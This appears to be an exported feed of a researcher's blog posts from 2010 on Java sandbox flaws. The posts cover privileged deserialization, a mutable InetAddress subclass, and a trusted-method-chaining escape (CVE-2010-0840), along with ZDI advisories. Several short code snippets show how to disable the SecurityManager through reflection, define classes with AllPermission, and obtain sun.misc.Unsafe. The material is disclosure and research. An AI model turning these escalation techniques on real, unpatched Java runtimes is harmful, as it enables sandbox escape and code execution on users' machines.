</SPAN><SPAN CLASS="kw">synchronized</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject(java.io.ObjectInputStream s)</SPAN><br /><SPAN CLASS="nb">1925</SPAN> <SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException, ClassNotFoundException {</SPAN><br /><SPAN CLASS="nb">1926</SPAN> <SPAN CLASS="bl">ObjectInputStream.GetField fields = s.readFields();</SPAN><br /><SPAN CLASS="nb">1927</SPAN> <SPAN CLASS="bl">String pathField = (String)fields.get(</SPAN><SPAN CLASS="st">"path"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">1928</SPAN> <SPAN CLASS="kw">char</SPAN><SPAN CLASS="bl"> sep = s.readChar(); </SPAN><SPAN CLASS="cm">// read the previous separator char</SPAN><br /><SPAN CLASS="nb">1929</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (sep != separatorChar)</SPAN><br /><SPAN CLASS="nb">1930</SPAN> <SPAN CLASS="bl">pathField = pathField.replace(sep, separatorChar);</SPAN><br /><SPAN CLASS="nb">1931</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.path = fs.normalize(pathField);</SPAN><br /><SPAN CLASS="nb">1932</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.prefixLength = fs.prefixLength(</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.path);</SPAN><br /><SPAN CLASS="nb">1933</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">1934</SPAN> <br /><SPAN CLASS="nb">1935</SPAN> <SPAN CLASS="cm">/** use serialVersionUID from JDK 1.0.2 for interoperability */</SPAN><br /><SPAN CLASS="nb">1936</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = 301077366599181567L;</SPAN><br /><SPAN CLASS="nb">1937</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><span style="font-weight: bold;">Broken.</span> It is possible to call ObjectInputStream.defaultReadObject externally along with a combination of phantom superclass and repeated field.<br /><br /><span style="font-weight: bold;">Conclusion</span><br /><br />I'll put my code where my mouth is in future posts. The serialization framework is extremely complex and extremely powerful in that creates objects without calling constructors and sets values to fields that might be private and or final. This combination is a dangerous one for security.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com3tag:blogger.com,1999:blog-7283793710804138254.post-36741390996163486552010-04-28T20:15:00.000-07:002010-04-28T20:24:45.906-07:00Mutable InetAddress Socket Policy Violation (ZDI-10-055/CVE-2010-0095)<span style="font-weight: bold;">Relevant Identifiers:</span><br /><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-055/">ZDI-10-055</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0095">CVE-2010-0095</a><br /><br /><br /><span style="font-weight: bold;">Impact:</span><br />Violation of Same Origin Policy, allowing unsigned applets to connect to any host.<br /><br /><br /><span style="font-weight: bold;">Oracle Java Patch:</span><br /><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html</a><br /><br /><br /><span style="font-weight: bold;">Details:<br /></span><entry></entry><entry>This is a low-impact, but technically somewhat interesting vulnerability.<br /><br />java.net.InetAddress is a public, non-final, serializable class. It has a package-private constructor.<br /><br />If one was to respect compiler errors, it would not be possible to create a subclass of InetAddress in another package, because creating a legal constructor for the subclass is impossible. But it turns out one does not need a legal constructor. As the superclass is serializable, the subclass constructor never gets called and never gets verified by the run-time. No tricks are required for creating the subclass. For example, Eclipse compiler will compile the rest of the class normally and create a constructor that just throws an exception.<br /><br />In the case of InetAddress this allows us to create a subclass which is a mutable InetAddress. In other words, give the same origin policy check one value, and use another value when doing the actual connection. Nothing as complicated as timing is required as the SOP check uses the getHostAddress() method, while the actual connection uses the private <span style="font-style: italic;">address</span> field, which can be deserialized into having any desirable value.<br /><br /><span style="font-weight: bold;">The Fix:</span><br />Update 19 added a readObject method to the InetAddress class, which throws a SecurityException if the instance being read was not loaded by the null ClassLoader.<br /></entry>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com1tag:blogger.com,1999:blog-7283793710804138254.post-3761972054595495482010-04-27T21:31:00.000-07:002010-04-27T21:53:23.965-07:00Symantec on ZDI-10-051 and ZDI-10-056An interesting piece on the Symantec blog by <span>Adrian Pisarczyk on </span><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-051/">ZDI-10-051</a> (CVE-2010-0094) and <a href="http://www.zerodayinitiative.com/advisories/ZDI-10-056/">ZDI-10-056</a> (CVE-2010-0840).<br /><br /><a href="http://www.symantec.com/connect/blogs/perfect-client-side-vulnerabilities">"Perfect" Client-Side Vulnerabilities</a><br /><blockquote>The first property, which makes such issues attractive for attackers, stems from the fact that they do not rely on any memory-corruption conditions; hence, the exploits are extremely reliable and do not have to cope with memory protection mechanisms. ASLR and DEP-based protections will not protect against the exploits.<br /><br />...<br /><br />Another uncommon vulnerability feature sought after by attackers is platform and browser independence.</blockquote>Not to take absolutely anything away from it, but Adrian's analysis makes much of the same, valid points as Julien Tinnes' post from about a year back on the calendar deserialization issue:<br /><br /><a href="http://blog.cr0.org/2009/05/write-once-own-everyone.html">Write Once, Own Everyone</a><br /><blockquote>...most other client-side vulnerabilities that can lead to arbitrary code execution, including other Java vulnerabilities are memory corruption vulnerabilities in a component written in native code. Exploiting those reliably can be hard. Especially if you have to deal with multiple operating system versions or with PaX-like protections such as DEP and ASLR.<br />This one is a pure Java vulnerability. This means you can write a 100% reliable exploit in pure Java. This exploit will work on all the platforms, all the architectures and all the browsers!</blockquote>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-36720190540928969432010-04-14T20:29:00.000-07:002010-04-14T20:30:45.097-07:00Java RMIConnectionImpl Deserialization Privilige Escalation (ZDI-10-051/CVE-2010-0094)<span style="font-weight: bold;">Relevant Identifiers:</span><br /><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-051/">ZDI-10-051</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0094">CVE-2010-0094</a><br /><br /><br /><span style="font-weight: bold;">Impact:</span><br />Privilege escalation of the Java security sandbox. The most obvious target is the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.<br /><br /><br /><span style="font-weight: bold;">Oracle Java Patch:</span><br /><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html</a><br /><br /><br /><span style="font-weight: bold;">Steps to remedy:</span><br /><a href="http://www.java.com/getjava/">Update</a> to Java 6 update 19<br /><br /><br /><span style="font-weight: bold;">Details:<br /></span><entry>Deserialization of untrusted data from a privileged context has been established as a security vulnerability (<a href="http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html">Sami Koivu</a>, <a href="http://blog.cr0.org/2009/05/write-once-own-everyone.html">Julien Tinnes</a>, <a href="https://www.securecoding.cert.org/confluence/display/java/SER09-J.+Do+not+deserialize+from+a+privileged+context">securecoding.cert.org</a>).<br /><br />javax.management.remote.rmi.RMIConnectionImpl does privileged deserialization of objects from user supplied data.<br /><br />More specifically;<br /><br />-The public createMBean method calls the private unwrap method<br />-The unwrap method has a doPrivileged block which calls the get method of a java.rmi.MarshalledObject instance<br />-The get method deserializes an object from an internal byte array<br />-The byte array can be made to contain a serialized custom ClassLoader (ClassLoader subclass)<br />-The custom ClassLoader can create classes with full privileges<br /><br />As with CVE-2008-5353, the trick is that ClassLoader is not Serializable, but the subclass can be made Serializable and in the deserialization process, the first non-serializable superclass constructor is called with the security context of the code doing the deserialization. Even though the subclass is untrusted, the context is privileged, so the security checks of the ClassLoader constructor are passed. Immediately after the deserialization, a ClassCastException is thrown because the code assumes the read object to be an Object array, but this is irrelevant, because an instance to the ClassLoader can be obtained during the deserialization process, by defining a readObject method.<br /><br /><span style="font-weight: bold;">A Brief History of Privileged Deserialization:</span><br />August, 2008:<br />The first known instance of Privileged Deserialization was found in the Calendar class.<br /><br />December, 2008:<br /><a href="http://java.sun.com/javase/6/webnotes/6u11.html">Java 6 update 11</a> fixes the Calendar Deserialization vulnerability.<br /><br />March, 2009:<br /><a href="http://java.sun.com/javase/6/webnotes/6u13.html">Java 6 update 13</a> fixes a Privileged Deserialization issue that is not attributed to anyone:</entry><br /><blockquote><a href="http://sunsolve.sun.com/search/document.do?assetkey=1-66-254611-1">CR 6646860</a>: A security vulnerability in the Java Plug-in with deserializing applets may allow an untrusted applet to escalate privileges. For example, an untrusted applet may grant itself permissions to read and write local files or execute local applications that are accessible to the user running the untrusted applet.<br /><entry></entry></blockquote><entry>This had to do with a little used option in the APPLET tag. The object parameter can be used to specify a serialized (saved) representation of the applet. Turns out this deserialization used to take place in a privileged context prior to Java 6 update 13.<br /><br />March, 2010:<br />Java 6 update 19 fixes a Privileged Deserialization issue in RMIConnectionImpl<br /><br /><span style="font-weight: bold;">The Fix:</span><br />The RMIConnectionImpl class was altered to leave the deserialization outside of the privileged block. Only setting current context classloader is done in a privileged block. This eliminates this particular privileged deserialization instance.<br /></entry>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com2tag:blogger.com,1999:blog-7283793710804138254.post-12318644158606006392010-04-08T21:21:00.000-07:002010-04-16T19:51:49.506-07:00Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)<span style="font-weight: bold;">Relevant Identifiers:</span><br /><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-056/">ZDI-10-056</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0840">CVE-2010-0840 </a><br /><br /><br /><span style="font-weight: bold;">Impact:</span><br />Privilege escalation of the Java security sandbox. The most obvious target would be the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.<br /><br /><br /><span style="font-weight: bold;">Oracle Java Patch:</span><br /><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html</a><br /><br /><br /><span style="font-weight: bold;">Steps to remedy:</span><br /><a href="http://www.java.com/getjava/">Update</a> to Java 6 update 19<br /><br /><br /><span style="font-weight: bold;">Details:</span><br />Java code originating from the Java core classes in the JRE/lib directory is considered trusted.<br /><br />Java code originating from an unsigned Java applet is considered untrusted.<br /><br />When Java evaluates privileges for any given operation, it considers the whole method call stack.<br /><br />For each item on the stack, the privileges of the class that defined the method in question are considered. Thus, if class Foo defines method call() and class Bar is a subclass of Foo, and an instance of Bar is on the stack, and the method is call(), the privileges of Foo, not Bar, are considered.<br /><br />It is possible to implement interface methods with methods inherited from a superclass; For example, if interface CacheItem has void method delete() and class Folder, which implements no interfaces, has a method with a compatible signature, it is possible to create a concrete class FolderPosingAsACacheItem which extends the Folder class, and implements the CacheItem (with the inherited method) without defining any methods of its own.<br /><br />There are hundreds (thousands?) of trusted classes in the Java core that call methods on objects which can be defined by untrusted code either directly, via sub-classing or via deserialization.<br /><br />These methods can be arranged in such a way that a trusted thread (such as one of the event threads) may be chained into calling method A which calls method B which calls method C ... which calls method Z. As only trusted code will be on the calling stack, the privileged context of the trusted thread is maintained. If one finds a method Z that does something interesting, such as a parameterizable method invocation via reflection, that invocation will take place in a privileged context.<br /><br />This is very bad because it means that security relies that there not exist harmful combinations of methods signatures; something that is not feasible to control, as opposed to the very controlled model of having a number of doPrivileged blocks which are known to be dangerous, but relatively easy to control.<br /><br />ZDI-10-056/CVE-2010-0840 leverages this by creating a trusted chain as follows:<br /><br />- instantiate a vuln.Link (subclass of java.beans.Expression) pointing the invoke params to class: java.lang.System, method setSecurityManager, args: null<br />- instantiate a new java.util.HashSet and put the vuln.Link (which is also a Map.Entry) in the Set<br />- instantiate an anonymous subclass of HashMap where the entrySet method returns the instance defined above<br />- instantiate a javax.swing.JList object, passing the HashMap instance defined above as the list contents<br />- add the JList on any visible component (such as the applet itself)<br /><br />And here's what happens when the digital Rube Goldberg machine is set into motion:<br /><br />- the GUI thread wants to draw the JList and calls JList.paint(Graphics)<br />- JList while drawing itself, calls toString on the list contents, including said anonymous subclass of HashMap<br />- HashMap inherits AbstractMap's toString method which calls entrySet().iterator() and iterates the resulting Set<entry>, calling getValue on each Entry<br />- one of the Entry objects returned by the implementation is a subclass of Statement, which implements the Entry interface's getValue() method with the Statement.getValue()<br />- Expression.getValue() calls Statement.invoke()<br />- Statement.invoke() has been parametrized to call System.setSecurityManager(null) via reflection<br /><br />...and Java security gets switched off.<br /><br /><span style="font-weight: bold;">Safety First:</span><br />The vuln.Link class cannot be created with a normal Java compiler. Hopefully that'll keep the virus writers at bay, while the details enlighten the security community.<br /><br /><span style="font-weight: bold;">The Fix:</span><br />Based on my very brief analysis, Java 6 update fixes this problem by altering the Statement.invoke() to use the AccessControlContext captured at the moment of instantiation when it uses the reflection.</entry>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com14tag:blogger.com,1999:blog-7283793710804138254.post-55669107529288662952010-04-05T18:45:00.000-07:002010-04-05T19:03:54.187-07:00Java Security UpdatesZero Day Initiative has released three <a href="http://www.zerodayinitiative.com/advisories/published/">Advisories</a> relating to vulnerabilities I discovered last year. Here are the original advisories, more details to follow shortly.<br /><br /><span style="font-size:130%;"><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-051/">Sun Java Runtime RMIConnectionImpl Privileged Context Remote Code Execution Vulnerability</a></span><br /><br /><b>ZDI-10-051</b>: April 5th, 2010 <h4>CVE ID</h4> <ul><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0094">CVE-2010-0094</a></ul> <h4>Affected Vendors</h4> <ul><a href="http://www.sun.com/">Sun Microsystems</a><br /></ul> <h4>Affected Products</h4> <ul><a href="http://java.sun.com/">Java Runtime</a><br /></ul> <h4>TippingPoint™ IPS Customer Protection</h4> TippingPoint IPS customers are protected against this vulnerability by Digital Vaccine protection filter ID 9591. For further product information on the TippingPoint IPS: <ul><a href="http://www.tippingpoint.com/">http://www.tippingpoint.com</a></ul> <h4>Vulnerability Details</h4> <p>This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of the Sun Java Runtime Environment. User interaction is required to exploit this vulnerability in that the target must visit a malicious website.</p> <p>The specific flaw exists within the deserialization of RMIConnectionImpl objects. Due to a lack of privilege checks during deserialization it is possible to supply privileged code in the ClassLoader of a constructor being deserialized. This allows for a remote attacker to call system level Java functions without proper sandboxing. Exploitation of this can lead to remote system compromise under the context of the currently logged in user.</p> <h4>Vendor Response</h4> Sun Microsystems has issued an update to correct this vulnerability. More details can be found at: <br /> <ul><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html</a></ul> <h4>Disclosure Timeline</h4> <ul> 2009-10-21 - Vulnerability reported to vendor<br />2010-04-05 - Coordinated public release of advisory<br /></ul> <h4>Credit</h4> This vulnerability was discovered by: Sami Koivu<br /><br /><hr /><br /><br /><span style="font-size:130%;"><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-055/">Sun Java Runtime Environment Mutable InetAddress Socket Policy Violation Vulnerability</a></span><br /><br /><b>ZDI-10-055</b>: April 5th, 2010 <h4>CVE ID</h4> <ul><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0095">CVE-2010-0095</a></ul> <h4>Affected Vendors</h4> <ul><a href="http://www.sun.com/">Sun Microsystems</a><br /></ul> <h4>Affected Products</h4> <ul><a href="http://java.sun.com/">Java Runtime</a><br /></ul> <h4>Vulnerability Details</h4> <p>This vulnerability allows remote attackers to violate security policies on vulnerable installations of Sun Java Runtime. User interaction is required to exploit this vulnerability in that the target must run a malicious applet.</p> <p>The specific flaw allows malicious applets to connect to network addresses other than the originating applet and client IPs. A handcrafted applet can override compile time checks to prevent compilation of a mutable InetAddress subclass. This results in the ability to circumvent the Applet SecurityManager restictions.</p> <h4>Vendor Response</h4> Sun Microsystems has issued an update to correct this vulnerability. More details can be found at: <br /> <ul><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html</a></ul> <h4>Disclosure Timeline</h4> <ul> 2009-10-21 - Vulnerability reported to vendor<br />2010-04-05 - Coordinated public release of advisory<br /></ul> <h4>Credit</h4> This vulnerability was discovered by: Sami Koivu<br /><br /><hr /><br /><br /><span style="font-size:130%;"><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-056/">Sun Java Runtime Environment Trusted Methods Chaining Remote Code Execution Vulnerability</a></span><br /><br /><b>ZDI-10-056</b>: April 5th, 2010 <h4>CVE ID</h4> <ul><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0840">CVE-2010-0840</a></ul> <h4>Affected Vendors</h4> <ul><a href="http://www.sun.com/">Sun Microsystems</a><br /></ul> <h4>Affected Products</h4> <ul><a href="http://java.sun.com/">Java Runtime</a><br /></ul> <h4>Vulnerability Details</h4> <p>This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Sun Java Runtime. Authentication is not required to exploit this vulnerability.</p> <p>The specific flaw exists within the code responsible for ensuring proper privileged execution of methods. If an untrusted method in an applet attempts to call a method that requires privileges, Java will walk the call stack and for each entry verify that the method called is defined within a class that has that privilege. However, this does not take into account an untrusted object that has extended the trusted class without overwriting the target method. Additionally, this can be bypassed by abusing a similar trust issue with interfaces. An attacker can leverage these insecurities to execute vulnerable code under the context of the user invoking the JRE.</p> <h4>Vendor Response</h4> Sun Microsystems has issued an update to correct this vulnerability. More details can be found at: <br /> <ul><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html</a></ul> <h4>Disclosure Timeline</h4> <ul> 2009-11-24 - Vulnerability reported to vendor<br />2010-04-05 - Coordinated public release of advisory<br /></ul> <h4>Credit</h4> This vulnerability was discovered by: Sami KoivuSami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com2tag:blogger.com,1999:blog-7283793710804138254.post-36836924282440006182010-03-31T05:12:00.000-07:002010-03-31T05:18:35.447-07:00Java 6 Update 19<a href="http://java.sun.com/javase/6/webnotes/6u19.html">Java 6u19</a> is out since yesterday.<br /><br />Among <a href="http://www.mail-archive.com/lucid-changes@lists.ubuntu.com/msg09242.html">the fixes</a> is this:<br /><br />- 6910590: Application can modify command array in ProcessBuilder.<br /><br />Which is the problem with defensive copying I <a href="http://slightlyrandombrokenthoughts.blogspot.com/2009/12/defensive-copying-how-not-to-do-it.html">wrote about</a> in December.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com1tag:blogger.com,1999:blog-7283793710804138254.post-80038683075471293722010-03-10T08:20:00.000-08:002010-03-22T17:21:13.610-07:00"Reverse engineering" Java class magic errorsA quick post that has nothing to do with security.<br /><br />When Java loads class files, be that over the network or from disk, it verifies the <a href="http://en.wikipedia.org/wiki/Magic_number_%28programming%29">magic number</a>, ie. the 4 first bytes of the file. In a valid <a href="http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#74353">Java class file</a> these are always (in hex): CA FE BA BE. That's 3405691582 as a decimal integer value.<br /><br />If the local file or a network resource that Java is trying to read as class is corrupted or, in fact, is not a class file, you'll get an error:<br /><br />java.lang.ClassFormatError: Incompatible magic value [number] in class file [package.class]<br /><br />For example:<br /><br />java.lang.ClassFormatError: Incompatible magic value 1008813135 in class file test.MyClass<br /><br />A simple, but neat trick I picked up from a <a href="http://www.guj.com.br/posts/list/24841.java">Brazilian forum</a> some years ago, was to reverse the invalid magic value in order to better understand what file Java was reading.<br /><br />In the example above, 1008813135 in hex is 3C 21 44 4F.<br /><br />That, in ASCII translates into:<br /><!DO<br /><br />Which, in all probability is the beginning of the HTML4.0 declaration:<br /><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><br /><br />In other words, Java is trying to load the binary class file, but instead is getting a HTML page.<br /><br />Another example would be:<br /><br />Invalid magic integer from the error message: 1013478509<br />Hex: 3C 68 74 6D<br />ASCII: <htm (another HTML page)<br /><br />Update: Adding the link from Tom's comment: <a href="http://stackoverflow.com/questions/1871501/embedding-an-applet-doesnt-work-on-my-website">http://stackoverflow.com/questions/1871501/embedding-an-applet-doesnt-work-on-my-website</a>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com2tag:blogger.com,1999:blog-7283793710804138254.post-38311193356160231612010-02-27T17:51:00.000-08:002010-02-27T19:15:31.005-08:00Java SE Security - Part III (Keys)This part is titled "Keys". The intention is to list the key items that must remain elusive to the attacker in order for the JVM to remain unharmed. Compromising any of these will probably give the attacker full privileges. I'll also show, at least in theory, how each of them could be used for this.<br /><span style="font-size:130%;"><br />The Security Manager</span><br /><br />The Security Manager is at the very core of the Java Security Model. It essentially decides whether any given operation is allowed or not. While the JVM is running, the "current" or "installed" Security Manager is defined by the static java.lang.System.security field. The type of the field is java.lang.SecurityManager which is a concrete, non-final class, so the SecurityManager is either an instance of that class, or a subclass. A null value in the field is interpreted as security being turned off, thus: if that field can be set to null, security will be turned off.<br /><br />The field is private, though, so one can’t just waltz in and try to set it to null.<br /><br />There's a public static method for defining a new Security Manager:<br /><span style="font-weight: bold;">System.setSecurityManager(SecurityManager)</span><br />If that method is called with a null parameter, the underlying field will be set to null and security will be turned off. In order for that call to succeed though, the current Security Manager is consulted to see if the caller has the <span style="font-style: italic;">setSecurityManager</span> RunTime permission. Thus, possessing the setSecurityManager permission effectively gives code full privileges.<br /><br />It would not be necessary to set a null SecurityManager to defy security. If the attacker can define his own SecurityManager and set it as the current SecurityManager, he can allow all operations and elevate his privileges. Aside from accessing the System class, a Security Manager class can be defined with the JVM startup argument<br />-Djava.security.manager=EvilUnsecureManager<br /><br />Also, compromising the (class) definition of the SecurityManager class or that of any of its subclasses would probably give the attacker full control. More about compromising class definitions in a later item.<br /><br /><span style="font-size:130%;">ClassLoader</span><br /><br />The ClassLoader is responsible for loading class definitions. It also ultimately controls the privileges of each class that's being loaded. The <span style="font-weight: bold;">ClassLoader.defineClass(...)</span> methods have the access modifier protected, so only subclasses can access them. If you can create a valid subclass of the ClassLoader, you can call the protected methods and define classes with full privileges. This is essentially how <a href="http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html">CVE-2008-5353</a> leverages the privileged deserialization.<br />An example of how to define a new class with full privileges when you have access to the defineClass method:<br /><br />byte[] evilBytecode = …<br />AllPermission allPerm = new AllPermission();<br />PermissionCollection allPermissions = allPerm.newPermissionCollection();<br />allPermissions.add(allPerm);<br />Class cls = defineClass(null, evilBytecode, 0,<br />evilBytecode.length, new ProtectionDomain(null, allPermissions));<br />cls.newInstance();<br /><br /><span style="font-size:130%;">Java access modifiers</span><br /><br />The Java access modifiers (private/protected/"default"/public) for classes, fields and methods are probably the one single most important thing keeping the whole security together. I've personally used protected and default very little in code I've written for any normal project. However, the security architecture heavily relies on them.<br /><br />A lot of things are kept inaccessible for an attacker by marking methods, fields and classes with the default access modifier. It means that only the classes from the same package can access those items. Same package here refers to same package within the same classloader. Thus, it doesn't aid the attacker to define his applet class to be in the same package as some trusted Sun class, because the packages are classloader specific - if your class in package abc was defined in a different classloader than another class in package abc, it is effectively in a different package as far as access control goes.<br /><br />If the attacker gained access to private members, it would be possible to set null to <span style="font-weight: bold;">java.lang.System.security</span> and disable Java security.<br /><br />If the attacker gained access to protected members, it would be possible to call defineClass on the default applet ClassLoader and define classes with full privileges.<br /><br />If the attacker gained access to default members, there'd be a lot of members in any number of classes that could be accessed to gain full privileges. There are almost 40 different versions of a package-private class SecuritySupport (or SecuritySupport12) that does privileged file reading, property access, URL access and so on.<br /><br />Reflection may be used to circumvent some of the access control restrictions. More about reflection in its own item.<br /><br /><span style="font-size:130%;">The final keyword</span><br /><br />As I discussed in a previous post, "final" has very distinct functions when used in conjunction with classes, methods and fields.<br /><br />If the final modifier of a class could be overridden, in other words, if the attacker managed to subclass a final class, he might subclass java.lang.String and create his own mutable Strings. More about String immutability in its own item.<br /><br />Overriding final methods and modifying the value of final field could also possibly be abused, but I have no concrete examples of those cases.<br /><br /><span style="font-size:130%;">Type system integrity</span><br /><br />Yet another crucial part of the security architecture is the Java type system integrity. If the attacker can pass his own Foo class where a String class is expected he can probably create the effect of mutable Strings.<br /><br />Or reversely, if the attacker is able to put a Java system class in a variable whose type is Bar (a user controlled class), he can probably gain access to private members.<br /><br /><span style="font-size:130%;">Reflection</span><br /><br />Java Reflection API gives dynamic access to classes, fields and methods. If one is able to call <span style="font-weight: bold;">setAccessible(true) </span>on Field and Method objects, Java access control can be somewhat bypassed. If you call setAccessible(true) on an otherwise inaccessible field or method (private/protected/default) you gain access to it. Example:<br /><br />Field security = System.class.getDeclaredField("security");<br />security.setAccessible(true);<br />security.set(null, null);<br /><br />However, many of the Reflection API calls require privileges and if a Security Manager is installed the attacker won't get far. To successfully run the above example, one would need to possess the <span style="font-style: italic;">accessDeclaredMembers</span> and <span style="font-style: italic;">suppressAccessChecks</span> privileges.<br /><br />If the attacker succeeds in obtaining a Field object for java.lang.System.security and calling setAccessible(true) on it, he can turn off Java security by calling field.set(null, null).<br /><br /><span style="font-size:130%;">Privileged Deserialization</span><br /><br />Privileged Deserialization can be leveraged by the attacker in (possibly) many ways, probably the simplest being the creation of a custom Serializable ClassLoader which can then be used to define classes with full privileges. This was at the core of <a href="http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html">CVE-2008-5353</a>.<br /><br />A privileged block which does deserialization from a stream which can be manipulated by the attacker can probably be leveraged in other ways, too, since the <a href="http://java.sun.com/javase/6/docs/platform/serialization/spec/protocol.html">serialization/deserialization protocol</a> is quite complex and flexible.<br /><br /><span style="font-size:130%;">SecurityManager protected packages (sun., com.sun.deploy., etc)</span><br /><br />These packages have a more relaxed security. The security manager and applet ClassLoader do not allow applets to access these packages directly. If the attacker was able to access them, there'd probably be several ways to leverage it. It seems to me that currently it is not allowed to reference the following packages:<br />com.sun.deploy.*<br />com.sun.imageio.*<br />com.sun.javaws.*<br />com.sun.jnlp.*<br />com.sun.xml.internal.bind.*<br />com.sun.xml.internal.ws.*<br />sun.*<br /><br /><span style="font-size:130%;">System Properties</span><br /><br />The System Properties (System.getProperties()) contain a lot of influential stuff. If an attacker was able to manipulate the System Properties he could probably elevate his privileges.<br /><br />System.getProperties(), despite of the name which suggest read access, returns a reference to the internal Properties object, so any modification to this object will alter the system properties.<br /><br />Read access to the properties has the implication of privacy. The attacker can find out the logged on username and several system paths:<br />java.class.path = C:\PROGRAM~1\Java\jre6\classes<br />java.endorsed.dirs = C:\Program Files\Java\jre6\lib\endorsed<br />java.ext.dirs = C:\Program Files\Java\jre6\lib\ext;C:\WINDOWS\Sun\Java\lib\ext<br />java.home = C:\Program Files\Java\jre6<br />java.io.tmpdir = C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\<br />java.library.path = ...<br />sun.boot.library.path = C:\Program Files\Java\jre6\bin<br />user.dir = …<br />user.home = C:\Documents and Settings\Administrator<br />user.name = Administrator<br /><br />There are known cases where for example being able to alter the java.ext.dirs lead to a vulnerability. I imagine this type of an attack only works if you can provide the property at JVM startup.<br /><br /><span style="font-size:130%;">sun.misc.Unsafe</span><br /><br />Unsafe is in a sun. package and therefore inaccessible to applets. It also has a private constructor, and the singleton getter method checks that the caller's classloader is null (system class) before handing out the object, so one could say it is very well guarded. And for a reason, since it truly is the Chuck Norris of Java classes.<br /><br />Unsafe allows direct access to fields and memory. It allows, for example, for you to put an int value into an object field. No security checks and no access control takes place when using Unsafe. So it would be trivial to leverage Unsafe for privilege escalation. I’ll leave the how as a mental exercise for the reader.<br /><br />Field usf = Unsafe.class.getDeclaredField("theUnsafe");<br />usf.setAccessible(true);<br />Unsafe unsafe = (Unsafe) usf.get(null);<br /><br />Field stringChars = String.class.getDeclaredField("value");<br />long offset = unsafe.objectFieldOffset(stringChars);<br />String test = "test";<br />char[] value = (char[]) unsafe.getObject(test, offset);<br />value[2] = 'n';<br />System.out.println(test);<br /><br /><br /><span style="font-size:130%;">String immutability</span><br /><br />String immutability is the basis for many operations. String objects contain a private char array that normally cannot be accessed. Should the attacker be able to access the char array and modify String objects, a lot of things could be broken, probably the security, too.<br /><br />There is no defensive programming in the core classes against mutable Strings, and for a reason; it’d require a lot of code. A mutable String could thus be used in a timing attack, having a set of contents for verification and another set of contents for the actual operation. String instances are also pooled and reused, so the attacker could probably put his instance on the pool and have it be reused by code that’s inaccessible to him.<br /><br /><span style="font-size:130%;">doPrivileged</span><br /><br />If the attacker can control a trusted doPrivileged block, or code called by it, through means of controlling input, accessed fields, overriding methods, subclassing, deserialization and classloading, etc, the attacker may be able to elevate his privileges.<br /><br /><span style="font-size:130%;">(Re)defining core classes</span><br /><br />If the attacker can compromise the class definitions of not just the most obvious classes (System, ClassLoader, SecurityManager), but any number of menial classes that participate in privileged blocks of code, the 